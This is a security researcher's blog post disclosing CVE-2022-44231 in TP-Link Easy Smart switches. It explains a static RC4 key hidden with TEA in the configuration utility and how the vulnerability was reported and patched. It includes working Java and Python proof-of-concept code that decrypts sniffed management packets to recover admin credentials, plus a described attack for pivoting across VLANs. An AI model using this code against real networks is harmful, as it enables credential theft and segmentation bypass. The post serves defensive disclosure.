Encryption problems of the TP-Link TL-SG105E v5 and Easy Smart Switches

The tale of my first CVE: finding a vulnerability in the Easy Smart product line and the role I played in helping to mitigate it.

Encryption problems of the TP-Link TL-SG105E v5 and Easy Smart Switches

This write-up is an informal presentation of how I found an encryption vulnerability in a line of network equipment, developed an exploit to demonstrate proof of concept, reported the vulnerability to the company, tested their patch, and worked with them to issue an advisory.

For a more concise analysis, please refer to the formal report available on GitHub just below.

I originally wrote this up back when I was writing the proof of concept. It tells the story of how I ended up finding these vulnerabilities and explains the extent of the effects in the broader context of network security. Despite being built upon older reported vulnerabilities, the encryption vulnerability demonstrated here has not been previously published to my knowledge, nor have any of these vulnerabilities previously been framed in the context of breaching VLAN segmentation.

However, I wanted to keep all the updates to progress on this up here at the top. This steps a bit out of chronological flow, but all the relevant reports and patch updates will be up here at the top as they become available.

Proof of concept code included here and in the repository are for authorized testing purposes only. Encryption keys are redacted.

Disclosure information updates

My formal reports were disclosed directly to TP-Link via private repository which has now been made public.

GitHub - geeklynad/TP-Link-ESCU
Contribute to geeklynad/TP-Link-ESCU development by creating an account on GitHub.

TP-Link verified the vulnerability and has released patches for the entire line of products. Follow the link below and search for the model number, or scroll down to the Business > Business Switches > Easy Smart section for a complete list. Both the Configuration Utility and device firmware must be patched in order to resolve the vulnerability.

Download Center | TP-Link
TP Link - Download Center

Reports were also sent to MITRE for CVE reservation, and CVE-2022-44231 has been assigned to this vulnerability.

CVE -CVE-2022-44231
The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.

As I explained to TP-Link, my intention of disclosure of this vulnerability is not to enable attacks on existing systems, but rather to inform network and security professionals of the attack vector in order for them to be able to take the necessary steps to mitigate it.

I have included notes on mitigation of the potential attack without patching in my formal report section, Mitigation Suggestions. Although this may prove inconvenient, the login credentials can only be captured during an active session with the device so isolating the device during configuration can be a surefire method to prevent the session from being captured.

However, since the patches are now available, this mitigation method should no longer be required for secure transmission of login credentials while using the Configuration Utility.

A brief note on VLANs

When familiarizing oneself with VLANs, it's common to come across verbiage that indicates that VLANs might not be the most secure way to go. Many of the broad descriptions make allusions to problematic configurations that potentially lead to leakage between network segments.

This initially struck me as an issue of either user error in setting up inter-VLAN routing and firewalls, or possibly legacy hardware issues that have long since been sorted and resolved. I wasn't expecting to come across this issue in the form of current-patch, up-to-date firmware blatantly mishandling VLAN segmentation so soon into my VLAN misadventures.

For a basic run-down, VLANs can be set up in such a way as to make all of the network infrastructure accessible only through a management segment. This improves the security profile by limiting access in addition to control lists, accounts, and passwords. If a user isn't connected through the management segment, they can't log in to management interfaces. The access between VLANs is ultimately in control of the routers designated to perform inter-VLAN routing. Firewall rules can be as broad or as granular as needed depending on the requirements. But the main idea is to have limited, controlled points through which inter-VLAN traffic can flow. The rest of the VLAN traffic gets directed to those points.

There shouldn't be any traffic that exchanges between VLANs without having to run the gauntlet of the firewall rules and routes in those designated control points.

I previously put together a deep dive explanation of VLANs, topology, and the TCP/IP and OSI models using visualizations aimed at making the topics accessible to a wide audience. If you'd like to know more about VLANs and what they can be used for, it might be worth a read.

The strangest explanation of VLANs you’ve never heard
Mental models rarely fit neatly into little boxes, yet we try to visualize them using overly simplistic means. For once, let’s get a little nutty.

What's in the box?

When I first installed and configured my shiny new TL-SG105E v5, I was briefly elated by the simplicity of the 802.1Q configuration. Tell it which access ports are members of which VLAN, tell it where to untag traffic going out to end points, tag traffic for the trunk line, and which PVIDs to use. Seemed to work like a charm!

But one thing was bothering me. It was fetching itself an IP address from the DHCP server (my pfSense from which the VLANs stem) that was within one of the VLANs. Not the native VLAN, and not the management VLAN. And it wasn't consistent upon reboots. It seemed to pick a VLAN at random, grab an address in that VLAN, and sit quite happily in the wrong place for the rest of its power-on cycle.

In other words, it was not fetching its own address from the native VLAN, the base network. And there was no way to limit which VLAN it would choose to run its DHCP client on. Because of its random assignment nature, it would be troublesome to secure the management interface to be accessed only through the management VLAN.

Why not have it self-assign a static address?

If this bouncing around were the only problem, that might actually work to resolve the issue. Instead, it just gets worse.

It took a while for it to sink in enough for me to realize what was going on. I thought that maybe I was making mistakes, failing to take things into account.

I set a static IP for it in the management VLAN, but I was able to access the management interface from non-management VLANs. From VLANs that were not the "wrong seat" that the little switch decided to rest in. I had no business being able to access something that resides in that VLAN from this one, and yet here I am, logging into this switch to try to figure out why it chooses to do what it does. I thought that maybe I had DHCP leases that were still active, or that my MAC was on an ARP table somewhere in the pipeline for a VLAN that I was previously logged into. These were not the case. The rest of the network was handling VLANs as intended. The bleed-through wasn't coming from somewhere else.

In short: If this switch is plugged into a trunk line that contains the VLAN you're on, it'll respond.

It shows up regardless of interVLAN routing rules.

In this instance, the switch fetched DHCP for VLAN99, the management VLAN. That segment is isolated from the rest of the network via interVLAN routing rules and firewall rules. However, because a trunk line extends to the network, the switch is able to disregard the rules present on other devices. It does what it wants. And what it wants is to ignore the way VLAN filtering works.

It has no qualms about responding to pings from different VLANs.
This is the expected behavior from another device on an isolated VLAN.

None of this bodes well.


At this point, it was time for some forum scrubbing. I pretty much immediately came across this write-up, Not So Smart: TP-Link TL-SG105E V3.0 5-Port Gigabit Easy Smart Switch by DrGough's TechZone.

And yes, it gets worse.

Not only does this switch advertise and accept connections from any VLAN with no option whatsoever to limit access, it transmits login credentials via HTTP in plaintext.

DrGough's TechZone found that it was possible to functionally brick log-ins by causing a buffer overflow, using curl to set credentials beyond the input validation limits set by the interface. This enables some degree of security. Set up the switch how you want it, brick the login, and if you ever need to change anything back, cycle the power to restore management login functionality. However, seeing as the "fix" becomes negated by a power outage, this shouldn't be categorized as a long term solution unless you really enjoy sending curls to your switch every time your power goes out.

That write-up also cited an older write-up, How I can gain control of your TP-LINK home switch by PenTestPartners.

And yes, it gets worse.

In it, they specifically examined the management application offered as a sleeker alternative to the HTTP management interface, the Easy Smart Configuration Utility.

PenTestPartners found that:

  • The utility communicated with the switch (and vice versa) via broadcast (255.255.255.255) UDP.
  • The utility was in java, and readily decompiled to source code.
  • The encryption used was RC4 with a static key.
  • The static key was within the decompiled source code.

Given these factors, it then becomes possible to intercept switch management traffic and decrypt it from elsewhere on the network.

This is looking more and more like a really nice pivot point to get through VLAN segmentation.

Let's say for the sake of fun you're on a network in a given VLAN segment trying to access a device on another VLAN segment. Switches and routers on the network adhere to the VLAN filters. Firewall rules strictly limit crosstalk. You can't see it on any network scans. You know it's there though. Luckily for you, it's behind an Easy Smart Switch. You gain access to the switch's management interface (because it's friends with everybody and still happily sitting in the wrong place) and reconfigure the target's access port to the VLAN of your choosing. You're now free to poke around at whatever open ports are listening on that device.

Such an attack wouldn't be limited to having both the attacker and the target behind the same switch. If the attacker is behind the switch but the target is elsewhere on the network, the attacker would be able to reconfigure the access ports of the switch to open up any VLAN being fed via trunk line to the switch.

If the switch's trunk includes the target's VLAN, the attacker can gain access to the target's VLAN, completely bypassing interVLAN routing and firewall rules.

Neither of the two write-ups really examined these possible attacks in the context of VLANs. However, since "VLAN capable" and "802.1Q compatible" are main selling points of this device, and that's what I wanted to use it for, that's the microscope I'll be putting this device under.

How much of this is still a problem?

The two write-ups were sent in to TP-Link years ago. One for v1, one for v3. There have been patches made to both the switch firmware and to the management utility.

The short answer is: All of it.

They did try to mitigate the attack on the utility encryption. These attempts, however, were insufficient to solve the problem. They made it more difficult to achieve the same results, but it is absolutely possible to achieve significant results.

The HTTP unencrypted login problem still exists.

Even with the best password ever, this is still a problem.

That rules out using the web browser as the management interface. What about the Easy Smart Configuration Utility?

  • It still utilizes broadcast to communicate all packets.
  • It's still a java package that's readily decompiled.
  • It still utilizes static key RC4, albeit in a different form now.

The login credentials remain obtainable, permitting an attacker to gain control of the VLAN configuration to bypass segmentation. If this device is offered a VLAN trunk line, or configured to be the root of VLANs, it is possible to break out of VLAN segmentation.

Let's take a look back at TP-Link's response to PenTestPartner's report.

I had a discussion with TP-LINK’s support who were really responsive, and I’ll quote them directly to ensure that I don’t misphrase them:


1. Traffic between utility and switch is sent by broadcast

It is a common way for Utility to communicate with devices with broadcast in our industry, other productors like Netgear does it this way too.

Broadcast will have some shortcomings as you said and we will think about it too, but the premise is LAN is not safe.

In most scenes LAN is a relative safe environment. We will have NAT router and firewall in front of our LAN network, most attacks will be blocked. Firewall and secure software can protect our LAN’s safety. But when LAN is not safe, even we don’t use broadcast, other method like faked ARP can get traffics between utility and switch.


2. Decode of Utility exe and static encryption.

Our Easy Smart Switch is a product for home and small office, so chip is not powerful enough to ensure a very high security.

As you know, Utility is written in Java and it means decompilation is avoidless, anyone can do it if they know how. It is the cost of Java’s universality and we can’t change it. Our R&D will think about add more covers to our codes to make our switch more safe in next Utility.

Before talking about the mitigation measures they used, going over their response will help illustrate the reasoning behind the measures taken.


In most scenes LAN is a relative safe environment.

Because the report wasn't framed in terms of VLANs, VLANs weren't considered here. But even given that, I have to voice at least a little contention with the idea of LANs being considered a safe environment. In a wild logically fallacious leap, they cite ARP poisoning in some sort of equivocation to broadcast, ignoring the possibility of mitigating measures taken against such attacks.

But let's give them the benefit of the doubt that they consider LANs "safe." How do they categorize VLANs? Because VLANs are widely used for segmentation of networks for security purposes. Most home users who put together a network of VLANs do so to separate network traffic based off of security profiles. IoT devices go on a separate segment than servers, which in turn on are on a separate network from daily driver devices, and so on. They are separate for a reason. They need to be able to remain separate.

Having a device that responds in complete disregard to VLAN protocols is how that separation gets broken.


Our Easy Smart Switch is a product for home and small office, so chip is not powerful enough to ensure a very high security.

This may very well be a limiting factor of the device. I don't know what the chip is capable of performing and what it isn't. It can perform RC4. It seems to me that if it's capable of performing RC4, it should be capable of establishing a key exchange to base randomized keys for the RC4. But that's beyond the scope of my familiarity.

I will say that if the device is indeed incapable of performing anything other than RC4 with a static key (and even given that "LANs are safe"), it should not be used for VLANs. It should only be used for "safe" LANs.


As you know, Utility is written in Java and it means decompilation is avoidless, anyone can do it if they know how.

Secure open source software exists. How? For a first clue, you'd be hard pressed to find any open source software that utilizes static keys for RC4. Key exchanges are used in protocols such as TLS to establish encryption keys to be used by either end of the connection. This can eliminate the need for unsecure local storage of key values, as new keys are made and exchanged on the fly.

Let's take a quick look through RFC-5246.

The TLS Record Protocol is used for encapsulation of various higher- level protocols. One such encapsulated protocol, the TLS Handshake Protocol, allows the server and client to authenticate each other and to negotiate an encryption algorithm and cryptographic keys before the application protocol transmits or receives its first byte of data. The TLS Handshake Protocol provides connection security that has three basic properties:


- The peer's identity can be authenticated using asymmetric, or public key, cryptography (e.g., RSA [RSA], DSA [DSS], etc.). This authentication can be made optional, but is generally required for at least one of the peers.


- The negotiation of a shared secret is secure: the negotiated secret is unavailable to eavesdroppers, and for any authenticated connection the secret cannot be obtained, even by an attacker who can place himself in the middle of the connection.


- The negotiation is reliable: no attacker can modify the negotiation communication without being detected by the parties to the communication.

Key exchanges are a proven, very commonly used method of securely handling the overhead of the bulk encryption. Heavy duty, processor-intensive encryption isn't a necessity. RC4 can be argued as being problematic and many vendors are moving away from its use. But RC4 isn't the weakest link in this chain. The static key is. Key exchanges are what enable the use of ephemeral keys. Once the session is finished, the keys are retired. When a new session is initiated, new keys are created and exchanged. This is makes for a much more robust encryption.

Many devices are capable of TLS including a variety of IoT devices with limited processing capability. And TLS is one of a variety of tunneling protocols in widespread use. The fact that Java is readily decompiled should not be a limiting factor of utilizing any of a number of methods of secure transfer of data (including login credentials).


It is a common way for Utility to communicate with devices with broadcast in our industry, other productors like Netgear does it this way too.

I want to conclude the dissection with this one because I feel like it nicely encompasses the problematic paradigm. Don't do things wrong just because others do them wrong. There are others that do things right. That's worth the effort.

What did previous patches fix?

They used some code obfuscation (one that happened to use William Shakespeare quotes as a dictionary - thank you to Constable for finding this gem), switched out the plaintext key in favor of a byte array, and scrambled it using TEA, the Tiny Encryption Algorithm.

This example of TEA is written in C by its creators David Wheeler and Roger Needham. This is the very same algorithm used by the Easy Smart Configuration Utility to internally encrypt the key.

#include <stdint.h>

void encrypt (uint32_t v[2], const uint32_t k[4]) {
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */
    uint32_t delta=0x9E3779B9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        sum += delta;
        v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

void decrypt (uint32_t v[2], const uint32_t k[4]) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up; sum is (delta << 5) & 0xFFFFFFFF */
    uint32_t delta=0x9E3779B9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

The plaintext string of 256 alphanumeric values is converted from UTF-8 to integers, and run through this encryption. From there, the integers are then split out into signed bytes ("signed bytes" meaning that one bit is used to signify whether the values are positive or negative; signed bytes range in value from -128 to +127) and statically stored within the code in a byte array.

When a packet needs to be sent or received, the byte array containing the encrypted key is sent back through the gauntlet of stacking signed bytes into integers, then piped into the other end of the Tiny Encryption Algorithm. From there, it's sent back to be turned into a string of 256 alphanumeric values. Then it's piped through the KSA phase of RC4, where it reaches its final form to be used in the PRGA phase where it's combined with the datastream to be either encrypted or decrypted. (In the case of RC4, encryption and decryption is the same operation since it uses bitwise AND between the key and the plaintext/ciphertext.)

The key, although obscured, is still static.

It doesn't change between uses. It doesn't change between clients. This key is consistently used across all hardware to which the Easy Smart Configuration Utility connects, as well as all copies of the utility.

Cracking the fix

I've never programmed Java before. I've barely even read any Java before. I'm not saying this out of pride for inexperience. I'm saying this to illustrate a point.

Obfuscation is not a substitute for protocols.

Did it slow me down? Absolutely. It certainly didn't stop me. If anything, it only served to egg me on with the blooming realization that their resolution to a serious encryption flaw was to basically throw a tattered old (deprecated) rug over a rotting old foot bridge spanning a chasm of despair.

In Java

Because of the bitwise operations used in TEA, it was most feasible for me to do that by patching together the decompiled code, and making an endpoint for the key string itself to print out to console. Once I had the key, I was able to verify that the packets could be decrypted with RC4.

It's worth noting that decompiling with JD-gui gave me code that didn't perform the TEA decryption properly. I eventually tried using Procyon to decompile and got much better results. I'm still scratching my head over why. But for anyone attempting to reproduce, I'd recommend using Procyon for decompiling.

I was able to get the decryption working  for both TEA and RC4 in Java by including the a few dependencies rebuilt from the decompiled source, transfer.TLV, transfer.of and transfer.This. The key has been redacted. Example raw hex Wireshark packet capture is included.

package javadecrypt;

import java.util.Arrays;
import java.util.HexFormat;

public class main {

    // int array to store post-KSA key
    private static int[] mS = new int[256];
    
    // checks if TEA has already been performed
    private static boolean lC;

    public static void main(String[] args) {
        if (lC) {
            return;
        }

        // Send TEA-encrypted key to be decrypted
        final String h = new of().h(new byte[] {REDACTED});
        
        // KSA phase
        final byte[] array = new byte[256];
        int n = 0;
        for (int i = 0; i < 256; ++i) {
            array[mS[i] = i] = (byte)h.charAt(i % h.length());
        }
        for (int j = 0; j < 256; ++j) {
            n = (n + mS[j] + array[j]) % 256;
            final int n2 = mS[j];
            mS[j] = mS[n];
            mS[n] = n2;
        }
        lC = true;

        // Print key post-TEA
        System.out.println("Pre-KSA key plaintext: " + h);
        // Pre-KSA in bytes can be enabled in Key.of.h()
        // Print key post-KSA
        System.out.println("Post-KSA Key in bytes: " + Arrays.toString(mS));


        // Example packet captured from wireshark
        HexFormat hexFormat = HexFormat.of();
        byte[] arrayOfByte = hexFormat.parseHex("5d777eefcbb14f45bfc42eb9cd4d7e51422ba2f5d791aeed508f31d5c202909a591381c0464e465f27d942b5a44c2c4a3a03355a0b08fa1e541489f773e1");

        // Print UTF-8 and byte array of encrypted packet
        System.out.println("Encrypted: " + new String(arrayOfByte));
        for (int length = arrayOfByte.length, i = 0; i < length; ++i) {
            System.out.print(arrayOfByte[i] + " ");
        }
        System.out.println("\n");

        // PRGA phase
        This.Code(arrayOfByte, arrayOfByte.length);

        // TLV.g to build string with de-signed byte values
        System.out.println("Decrypted: " + TLV.g(arrayOfByte));

        // Print de-signed byte values
        for (int length = arrayOfByte.length, i = 0; i < length; ++i) {
            System.out.print((arrayOfByte[i] & 0xFF) + " ");
        }
        System.out.println("\n");
    }
}

In Python

From there, I was able to recreate these operations in Python. Some juggling was required to account for the fact that bitwise operations give different results for different data types.

The original Java code uses big endian signed bytes and unsigned integers, switching back and forth between the two during different part of the operations. The bitwise operations in TEA were difficult to reproduce in Python, but ultimately possible using ctypes conversions for specific steps.

Many of the functions in the "tooling" section are recreations of the included dependencies in the Java example to handle things like packing 8 bytes into 2 ints to pass into TEA, and converting between ints and UTF-8.

This can readily be expanded upon to be used in the context of a packet sniffer to decrypt a datastream as it is received.

#!/usr/bin/env python3
# python 3.10.7
# --------------------------------------------------------------------------------------
# Easy Smart Configuration Utility packet decryption
# nad@geekly.dev
#
# Requires key obtained through decompiling the utility
#
# Expected data type for packet capture is string of hexadecimal string
#   Example included in raw.txt file
#   Contains login credentials of user:admin with password:EncryptFail
#   
#
# Raw hex string can be obtained through wireshark using "Follow UDP stream",
#   setting the output type to "Raw", and pasting into a text file.
#   Each line of raw.txt to contain one packet to be decrypted independently
# 
# Proof of concept performed on TL-SG105E v5, Build 20220414 Rel.50349
#
# Affected hardware includes the following:
# * TL-SG1428PE(UN) V1/V1.2/V1.26/V2/V2.2
# * TL-SG1218MPE(UN) V1/V2/V3.2/V3.26/V4/V4.2
# * TL-SG1210MPE V2/V3
# * TL-SG1024DE(UN) V1/V2/V3/V4/V4.2/V4.26
# * TL-SG1016PE(UN) V1/V2/V3.2/V3.26/V4/V5
# * TL-SG1016DE(UN) V1/V2/V3/V4/V4.2
# * TL-SG116E(UN) V1/V1.2/V2/V2.6
# * TL-SG105E(UN) V1/V2/V3/V4/V5
# * TL-SG108E(UN) V1/V2/V3/V4/V5/V6
# * TL-SG108PE(UN) V1/V2/V3/V4/V5
# * TL-SG105PE(UN) V1/V2
# * TL-RP108GE(UN) V1
# --------------------------------------------------------------------------------------


import ctypes


# --------------------------------------------------------------------------------------
# Tooling for data type conversions
# --------------------------------------------------------------------------------------
#
# Original java used signed byte arrays for datagram stream and ints 0-255 for key
# Since RC4 doesn't use bitwise operations, there's no need to account for endianness
# TEA groups 8 bytes into 2x 32bit ints; ctypes handles bit order


def from_signed(a):
    b = a & 0xFF
    return b


def to_signed(i, bits):
    if i & (1 << (bits - 1)):
        i -= 1 << bits
    return i


def mod_sign(i, m):
    x = from_signed(i) % m
    x = to_signed(x, 8)
    return (x)


def raw_to_bytelist(raw):
    bl = []
    bits = 8
    for i in range(0, len(raw), 2):
        value = int("0x" + raw[i:i+2], 16)
        if value & (1 << (bits - 1)):
            value -= 1 << bits
        bl.append(value)
    return (bl)


def text_to_bytelist(s):
    bl = []
    for char in s:
        bl.append(ord(char))
    return (bl)


def bytelist_to_string(bl):
    str_out = ""
    for x in range(len(bl)):
        str_out += chr(bl[x])
    return (str_out)


# Pack 8 bytes into 2 ints

def chunks(v, i):
    chunk = [0 for a in range(i >> 2)]
    y = 0
    for x in range(0, len(v), 4):
        chunk[y] = (v[x + 3]) | (v[x + 2] << 8) | (v[x + 1] << 16) | (v[x] << 24)
        y += 1
    return (chunk)


# Unpack 2 ints out to 8 bytes

def dechunks(v, i):
    chunk = [0 for a in range(i << 2)]
    y = 0
    for x in range(len(v)):
        chunk[y + 3] = v[x] & 0xFF
        chunk[y + 2] = v[x] >> 8 & 0xFF
        chunk[y + 1] = v[x] >> 16 & 0xFF
        chunk[y] = v[x] >> 24 & 0xFF
        y += 4
    return (chunk)


# --------------------------------------------------------------------------------------
# TEA and RC4 algorithms
# --------------------------------------------------------------------------------------

# TEA key decryption
# y, z, and sum require ctypes.c_int wrapping

def TEA_decrypt(v, k):
    
    # vector ints
    y = ctypes.c_int(v[0])
    z = ctypes.c_int(v[1])
    
    # TEA constants
    sum = ctypes.c_int(0xC6EF3720)
    delta = 0x9E3779B9

    for n in range(32, 0, -1):
        z.value -= (y.value << 4) + k[2] ^ y.value + sum.value ^ (y.value >> 5) + k[3]
        y.value -= (z.value << 4) + k[0] ^ z.value + sum.value ^ (z.value >> 5) + k[1]
        sum.value -= delta

    return [y.value, z.value]


# RC4 key scheduling algorithm
# S initial values set as list 0-255, not as null list with length of 256

def KSA(key):

    keylength = len(key)
    S = [x for x in range(256)]
    j = 0

    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]

    return S


# RC4 psuedo-random generation algorithm
# mod_sign manages the modulo between signed byte values vs 0-255 int values

def PRGA(S, data):

    i = 0
    j = 0
    out = []

    for x in range(len(data)):
        i = mod_sign((i + 1), 256)
        j = mod_sign((j + S[i]), 256)
        S[i], S[j] = S[j], S[i]
        K = S[mod_sign((S[i] + S[j]), 256)]
        out.append(data[x] ^ S[mod_sign((S[i] + S[j]), 256)])

    return (out)


# --------------------------------------------------------------------------------------
# Functions called by main() to decrypt key and packet data
# --------------------------------------------------------------------------------------

# TEA key extraction
# v: Unsign bytes from original signed byte array
# w: Sort into larger chunks, recursive list of 2 ints per chunk
# x: Send each chunk of 2 ints to be decrypted
# y: Separate chunks back out to individual bytes, flatten list recursion
# z: Strip first 8 values (unused offset), Unsign bytes once again and convert to UTF-8

def key_extract(key):

    # TEA key and vector
    k = [2023708229, -158607964, -2120859654, 1167043672]
    v = []

    for i in range(len(key)):
        v.append(from_signed(key[i]))

    w = []
    for i in range(0, len(v), 8):
        w.append(chunks(v[i:i+8], 8))
    if log == True:
        print("Sorted chunks for key extraction: \n", w)

    x = []
    for i in range(len(w)):
        x.append(TEA_decrypt(w[i], k))
    if log == True:
        print("Decrypted chunks: \n", x)

    y = []
    for i in range(len(x)):
        y.append(dechunks(x[i], 2))
    y = [item for sublist in y for item in sublist]
    if log == True:
        print("Decrypted bytes: \n", y)

    z = []
    for i in range(8, len(y)):
        z.append(from_signed(y[i]))
    return (bytelist_to_string(z))


# RC4 decryption
# Set data types
# Run key mutation
# Decrypt
# Encode to UTF-8

def RC4(key, data):

    key_bl = text_to_bytelist(key)
    if log:
        print("Key bytelist: \n", key)

    data_bl = raw_to_bytelist(data)
    if log:
        print("Raw bytelist: \n", data_bl)

    kS = KSA(key_bl)
    if log:
        print("KSA key: \n", kS)

    t = PRGA(kS, data_bl)
    if log:
        print("Output bytelist: \n", t)

    u = []
    for i in range(len(t)):
        u.append(from_signed(t[i]))
    if log:
        print("Un-signed bytelist: \n", u)

    out = bytelist_to_string(u)
    return (out)


# --------------------------------------------------------------------------------------
# Main
# --------------------------------------------------------------------------------------
# Optional: Enable logging for debugging
# Toggle key_ext to true if TEA key extraction is not already stored in key.txt
# Toggle key_print to true if you would like to display the key string

log = False
key_ext = True
key_print = True


# Read files or use built-in
# Key text file expected format is alphanumeric string
#   * Enable logging to display extracted string
#   * Can be pasted into a file to store
#   
# Packet capture expected format is raw hexadecimal
#   * Hex characters only, no escape characters or 0x
#   * One packet per line
#   * Can pull from wireshark using "follow UDP stream", view as "RAW" for hex values

def main():

    # To use built-in key extraction, define the value of key[] here
    # The encrypted byte array can be found in the decompiled source code of the utility
    # If decompiler fills certain values with "Byte.MAX_VALUE",
    #   replace with 127 (max value of signed byte)
    
    if key_ext == True:
        key_bl = [REDACTED]
        key = key_extract(key_bl)
        if key_print == True:
            print("Key string: \n", key)

    # Alternatively, a key stored as a string of alphanumeric values can be imported here
    
    else:
        with open("key.txt", "r") as f:
           lines = f.readlines()
           key = ""
           for line in lines:
              key += line.strip()
           f.close()


    # Load a packet capture file with expected format of RAW hex strings
    
    with open("raw.txt", "r") as g:
        packets = g.readlines()
        g.close()

    # Process each line from raw packet capture as individual packet and print results
    
    for packet in packets:
        raw = packet.strip()
        output = RC4(key, raw)
        print(output)
    
if __name__ == "__main__":
    main()

Again, this decryption works for all these devices. For any of the devices the Easy Smart Configuration Utility communicates with, this applies. The TL-SG105E is not the only piece of hardware that uses this software. It's just the one I'm looking at now.

How would this be used in practice?

Since the utility and switch communicate using 255.255.255.255 broadcast, the packets are easily intercepted by anyone on the same network segment. In order to capture the login credentials, an attacker would have to capture an admin's login. This is made substantially easier with the fact that broadcast is used for all communications with the devices.

This capture can then be decrypted and the login credentials can be extracted. The switch can then be logged into, even from outside of a management VLAN, and reconfigured to either give the attacker access to other VLANs, or expose targets to other VLANs.

I performed my packet captures using Wireshark. However, since management access is not commonly needed on these devices after the initial configuration, logins would be rare. A socket listener can be tailored to wait for any traffic sent on the static port used. Then the attacker could created network traffic anomalies to create the need for an admin to see what's wrong.

That might sound time consuming, or that it would be more effort than worthwhile. In a lot of cases, it very well might be. However, if a network is worth securing then it's worth examining such vulnerabilities. Attacks can and do take place over long periods of time. One of the primary objectives in breaking into a network is to ensure that you'll be able to do so again to be able to spend as much time as required to achieve your objective. This vulnerability opens the possibility of an attacker using any of the Easy Smart Switches to pivot the attack across VLANs.

Reporting and mitigating the vulnerability

Once I had my proofs of concept ready and a thorough report written, I submitted my findings to TP-Link's provided security address. Although they were initially a bit unresponsive at first, later in the process they became much more communicative and expressed gratitude for having worked with them to resolve the issue. I checked in with them periodically through the process to see what the remediation time period looked like and to offer any clarification needed.

About three months after initial disclosure, they provided a patch for me to test. I repeated the process of decompiling and reading through the source to find that they extensively reworked the encryption. While RC4 and TEA were still included for backwards compatibility purposes (a necessary step of being able to patch the firmware of the device), there was new code for entirely different session-based encryption. While I was unable to identify the specific encryption scheme, I believe it's a form of RSA. Don't quote me on that though.

After finding the new encryption and trying to poke at it a bit, I went ahead and flashed the firmware on my device and set about capturing some packets. I was very pleased to find that the encryption changed between sessions. No more static key! And while not all of the transmitted data seemed to use the new encryption, the login credentials were no longer crackable with my proofs of concept.

Other issues such as the use of broadcast transmission and lack of HTTPS were unaddressed yet, but the most crucial vulnerability had been addressed first. I hope they continue along with developing more fixes, as the quality of improvement in this patch is a world of difference from the previous attempt.

Mastodon